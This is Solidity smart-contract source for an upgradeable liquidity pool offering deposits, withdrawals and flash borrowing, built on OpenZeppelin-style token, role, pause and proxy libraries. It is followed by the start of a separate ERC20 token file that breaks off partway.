* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract kRoles is Initializable {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
address[] public operators;
function initialize(address _operator) public initializer {
_addOperator(_operator);
}
modifier onlyOperator() {
require(isOperator(msg.sender), "OperatorRole: caller does not have the Operator role");
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function addOperator(address account) public onlyOperator {
_addOperator(account);
}
function renounceOperator() public {
_removeOperator(msg.sender);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
contract CanReclaimTokens is kRoles {
using SafeERC20 for ERC20;
mapping(address => bool) private recoverableTokensBlacklist;
function initialize(address _nextOwner) public initializer {
kRoles.initialize(_nextOwner);
}
function blacklistRecoverableToken(address _token) public onlyOperator {
recoverableTokensBlacklist[_token] = true;
}
/// @notice Allow the owner of the contract to recover funds accidentally
/// sent to the contract. To withdraw ETH, the token should be set to `0x0`.
function recoverTokens(address _token) external onlyOperator {
require(
!recoverableTokensBlacklist[_token],
"CanReclaimTokens: token is not recoverable"
);
if (_token == address(0x0)) {
(bool success,) = msg.sender.call.value(address(this).balance)("");
require(success, "Transfer Failed");
} else {
ERC20(_token).safeTransfer(
msg.sender,
ERC20(_token).balanceOf(address(this))
);
}
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard is Initializable {
// counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
function initialize() public initializer {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
uint256[50] private ______gap;
}
contract PauserRole is Initializable, Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
function initialize(address sender) public initializer {
if (!isPauser(sender)) {
_addPauser(sender);
}
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
uint256[50] private ______gap;
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Initializable, Context, PauserRole {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
function initialize(address sender) public initializer {
PauserRole.initialize(sender);
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[50] private ______gap;
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
contract LiquidityPoolV1 is ILiquidityPool, CanReclaimTokens, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
mapping (address=>IKToken) public kTokens;
address[] public registeredTokens;
mapping (address=>bool) public registeredKTokens;
string public VERSION;
IBorrowerProxy borrower;
address public ETHEREUM = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
event Deposited(address indexed _depositor, address indexed _token, uint256 _amount, uint256 _mintAmount);
event Withdrew(address indexed _reciever, address indexed _withdrawer, address indexed _token, uint256 _amount, uint256 _burnAmount);
event Borrowed(address indexed _borrower, address indexed _token, uint256 _amount, uint256 _fee);
function () external payable {}
function initialize(string memory _VERSION, address _borrower) public initializer {
CanReclaimTokens.initialize(msg.sender);
Pausable.initialize(msg.sender);
ReentrancyGuard.initialize();
Pausable.initialize(msg.sender);
VERSION = _VERSION;
borrower = IBorrowerProxy(_borrower);
}
/// @notice register a token on this Keeper.
///
/// @param _kToken The keeper ERC20 token.
///
/// @return Nothing.
function register(IKToken _kToken) external onlyOperator {
require(address(kTokens[_kToken.underlying()]) == address(0x0), "Underlying asset should not have been registered");
require(!registeredKTokens[address(_kToken)], "kToken should not have been registered");
kTokens[_kToken.underlying()] = _kToken;
registeredKTokens[address(_kToken)] = true;
registeredTokens.push(address(_kToken.underlying()));
blacklistRecoverableToken(_kToken.underlying());
}
/// @notice Deposit funds to the Keeper Protocol.
///
/// @param _token The address of the token contract.
/// @param _amount The value of deposit.
///
/// @return Nothing.
function deposit(address _token, uint256 _amount) external payable nonReentrant whenNotPaused returns (uint256) {
IKToken kToken = kTokens[_token];
require(address(kToken) != address(0x0), "Token is not registered");
if (_token != ETHEREUM) {
ERC20(_token).transferFrom(msg.sender, address(this), _amount);
} else {
require(_amount == msg.value, "Incorrect eth amount");
}
uint256 mintAmount = calculateBurnAmount(kToken, _token, _amount);
kToken.mint(msg.sender, mintAmount);
emit Deposited(msg.sender, _token, _amount, mintAmount);
}
/// @notice Withdraw funds from the Compound Protocol.
///
/// @param _to The address of the amount receiver.
/// @param _kToken The address of the kToken contract.
/// @param _kTokenAmount The value of the kToken amount to be burned.
///
/// @return Nothing.
function withdraw(address payable _to, IKToken _kToken, uint256 _kTokenAmount) external nonReentrant whenNotPaused {
require(registeredKTokens[address(_kToken)], "kToken is not registered");
address token = _kToken.underlying();
uint256 amount = calculateWithdrawAmount(_kToken, token, _kTokenAmount);
_kToken.burnFrom(msg.sender, _kTokenAmount);
if (token != ETHEREUM) {
ERC20(token).safeTransfer(_to, amount);
} else {
(bool success,) = _to.call.value(amount)("");
require(success, "Transfer Failed");
}
emit Withdrew(_to, msg.sender, token, amount, _kTokenAmount);
}
/// @notice borrow assets from this LP, and return them within the same transaction.
///
/// @param _token The address of the token contract.
/// @param _amount The amont of token.
/// @param _data The implementation specific data for the Borrower.
///
/// @return Nothing.
function borrow(address _token, uint256 _amount, bytes calldata _data) external nonReentrant whenNotPaused {
require(address(kTokens[_token]) != address(0x0), "Token is not registered");
uint256 initialBalance = borrowableBalance(_token);
if (_token != ETHEREUM) {
ERC20(_token).safeTransfer(msg.sender, _amount);
} else {
msg.sender.call.value(_amount)("");
}
borrower.lend(msg.sender, _data);
uint256 finalBalance = borrowableBalance(_token);
require(finalBalance >= initialBalance, "Borrower failed to return the borrowed funds");
emit Borrowed(msg.sender, _token, _amount, finalBalance.sub(initialBalance));
}
/// @notice Calculate the given token's outstanding balance of this contract.
///
/// @param _token The address of the token contract.
///
/// @return Outstanding balance of the given token.
function borrowableBalance(address _token) public view returns (uint256) {
if (_token == ETHEREUM) {
return address(this).balance;
}
return ERC20(_token).balanceOf(address(this));
}
/// @notice Calculate the given owner's outstanding balance for the given token on this contract.
///
/// @param _token The address of the token contract.
/// @param _owner The address of the token contract.
///
/// @return Owner's outstanding balance of the given token.
function underlyingBalance(address _token, address _owner) public view returns (uint256) {
uint256 kBalance = kTokens[_token].balanceOf(_owner);
uint256 kSupply = kTokens[_token].totalSupply();
if (kBalance == 0) {
return 0;
}
return borrowableBalance(_token).mul(kBalance).div(kSupply);
}
/// @notice Migrate funds to the new liquidity provider.
///
/// @param _newLP The address of the new LiquidityPool contract.
///
/// @return Outstanding balance of the given token.
function migrate(ILiquidityPool _newLP) public onlyOperator {
for (uint256 i = 0; i < registeredTokens.length; i++) {
address token = registeredTokens[i];
kTokens[token].addMinter(address(_newLP));
kTokens[token].renounceMinter();
_newLP.register(kTokens[token]);
if (token != ETHEREUM) {
ERC20(token).safeTransfer(address(_newLP), borrowableBalance(token));
} else {
(bool success,) = address(_newLP).call.value(borrowableBalance(token))("");
require(success, "Transfer Failed");
}
}
_newLP.renounceOperator();
}
function kToken(address _token) external view returns (IKToken) {
return kTokens[_token];
}
function calculateWithdrawAmount(IKToken _kToken, address _token, uint256 _kTokenAmount) internal view returns (uint256) {
uint256 kTokenSupply = _kToken.totalSupply();
require(kTokenSupply != 0, "No KTokens to be burnt");
uint256 initialBalance = borrowableBalance(_token);
return _kTokenAmount.mul(initialBalance).div(_kToken.totalSupply());
}
function calculateBurnAmount(IKToken _kToken, address _token, uint256 _depositAmount) internal view returns (uint256) {
// The borrow balance includes the deposit amount, which is removed here.
uint256 initialBalance = borrowableBalance(_token).sub(_depositAmount);
uint256 kTokenSupply = _kToken.totalSupply();
if (kTokenSupply == 0) {
return _depositAmount;
}
return _depositAmount.mul(kTokenSupply).div(initialBalance);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
